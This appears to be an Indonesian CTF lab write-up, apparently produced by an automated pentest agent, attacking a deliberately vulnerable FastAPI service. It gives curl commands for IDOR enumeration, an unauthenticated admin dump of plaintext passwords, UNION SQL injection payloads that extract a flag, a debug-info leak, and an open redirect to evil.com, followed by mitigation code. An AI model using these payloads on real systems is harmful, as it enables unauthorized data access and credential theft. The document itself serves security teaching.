Lab #7 - REST API: IDOR + SQLi + No Auth
Target:
http://api.vuln.cybersecurity.or.id:8087/
Versi: FastAPI (Python 3.11), SQLite (aiosqlite)
Tools:curl,jq
Flag: 🔴FLAG{R3ST_API_IDOR_N0_Auth_2025}
Filosofi Serangan
REST API sering dianggap lebih aman daripada aplikasi web tradisional, tetapi kenyataannya API sama rentannya jika tidak dirancang dengan benar.
Kerentanan yang dieksploitasi:
- IDOR (Insecure Direct Object Reference) - akses item yang tidak seharusnya terlihat
- No Authentication - endpoint admin terbuka tanpa token
- SQL Injection - input tidak difilter
- Information Disclosure - debug endpoint membeberkan environment
️ Langkah 1: API Discovery
1.1. Cek Endpoint
curl -s -I http://api.vuln.cybersecurity.or.id:8087/
Output:
server: uvicorn
FastAPI/Uvicorn - framework modern Python.
1.2. Daftar Endpoint yang Ditemukan
| Endpoint | Method | Auth | Vuln |
|---|---|---|---|
/api/items |
GET | ❌ | SQLi |
/api/items/{id} |
GET | ❌ | IDOR + SQLi |
/api/items/create |
POST | ❌ | Mass Assignment |
/api/users |
GET | ❌ | SQLi |
/api/users/{id}/update |
PUT | ❌ | IDOR |
/api/admin/users |
GET | ❌ | No Auth |
/api/login |
POST | ❌ | SQLi |
/api/debug/info |
GET | ❌ | Info Disclosure |
/redirect |
GET | ❌ | Open Redirect |
Langkah 2: IDOR - Akses Item Tersembunyi
2.1. List Public Items
curl -s http://api.vuln.cybersecurity.or.id:8087/api/items
Output - hanya item visible:
{"id":1,"title":"Laptop"},{"id":2,"title":"Buku"},{"id":6,"title":"Meja"},...
Item 3, 4, 5 sengaja disembunyikan (is_visible=0).
2.2. Akses Langsung via ID
Karena tidak ada autentikasi, kita bisa akses item berdasarkan ID:
curl -s http://api.vuln.cybersecurity.or.id:8087/api/items/3
curl -s http://api.vuln.cybersecurity.or.id:8087/api/items/4
curl -s http://api.vuln.cybersecurity.or.id:8087/api/items/5
Output:
{"id":3,"title":"Rahasia Admin","description":"Hanya admin yang lihat","is_visible":0}
{"id":4,"title":"Data Internal","description":"Confidential","is_visible":0}
{"id":5,"title":"Server Config","description":"Credentials inside","is_visible":0}
✅ IDOR berhasil! Item rahasia admin bisa diakses tanpa login.
Langkah 3: No Auth - Admin Users
3.1. Akses Endpoint Admin
curl -s http://api.vuln.cybersecurity.or.id:8087/api/admin/users
Output - semua user termasuk password hash:
[
{"id":1,"username":"admin","password_hash":"admin123","is_admin":1},
{"id":2,"username":"user1","password_hash":"pass123","is_admin":0},
{"id":3,"username":"user2","password_hash":"pass456","is_admin":0}
]
Password hash plaintext - admin:admin123.
Langkah 4: SQL Injection
4.1. SQLi di Search Item
curl -s "http://api.vuln.cybersecurity.or.id:8087/api/items?q='+OR+1=1--"
4.2. UNION - Ekstrak Semua Tabel
curl -s "http://api.vuln.cybersecurity.or.id:8087/api/items?q='+UNION+SELECT+1,name,4,5+FROM+sqlite_master+WHERE+type='table'--"
Output:
{"title":"items"},{"title":"secrets"},{"title":"users"}
4.3. UNION - Ambil Flag
curl -s "http://api.vuln.cybersecurity.or.id:8087/api/items?q='+UNION+SELECT+1,flag,3,4+FROM+secrets--"
Output:
{"title":"FLAG{R3ST_API_IDOR_N0_Auth_2025}"}
Langkah 5: Information Disclosure
5.1. Debug Info
curl -s http://api.vuln.cybersecurity.or.id:8087/api/debug/info
Output - environment variables:
{
"env": {"PATH":"...", "PYTHON_VERSION":"3.11.15", ...},
"cwd": "/app",
"files": ["tmp","boot","proc","var","etc","root",...]
}
Environment variables dan daftar direktori root sistem terbuka!
Langkah 6: Open Redirect
curl -v "http://api.vuln.cybersecurity.or.id:8087/redirect?url=http://evil.com"
Output:
HTTP/1.1 307 Temporary Redirect
Location: http://evil.com
Open redirect untuk phishing.
Kesimpulan
Target: REST API di api.vuln.cybersecurity.or.id:8087
Techniques: IDOR, No Auth, SQLi, Info Disclosure, Open Redirect
Flag: FLAG{R3ST_API_IDOR_N0_Auth_2025}
Durasi: ~3 menit
Urutan serangan:
- ✅ IDOR - akses hidden item via ID langsung
- ✅ No Auth - endpoint admin tanpa token
- ✅ SQLi UNION - ekstrak flag dari tabel
secrets - ✅ Debug Info - environment variables bocor
- ✅ Open Redirect - potensi phishing
🔥 Pelajaran: REST API butuh autentikasi di setiap endpoint - jangan hanya mengandalkan client-side. Authorisasi juga harus dicek: user A tidak boleh akses data milik user B (IDOR). Selalu validasi input untuk mencegah SQLi.
Cara Mitigasi
# ❌ RENTAN
@app.get("/api/items/{id}")
async def get_item(id: str):
q = f"SELECT * FROM items WHERE id={id}" # SQLi!
# ✅ AMAN (parameterized query)
async def get_item(id: int):
q = "SELECT * FROM items WHERE id=?"
cur = await db.execute(q, (id,))
# ✅ Tambahkan autentikasi + authorisasi
async def get_item(id: int, user: User = Depends(get_current_user)):
cur = await db.execute("SELECT * FROM items WHERE id=? AND owner_id=?", (id, user.id))
Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy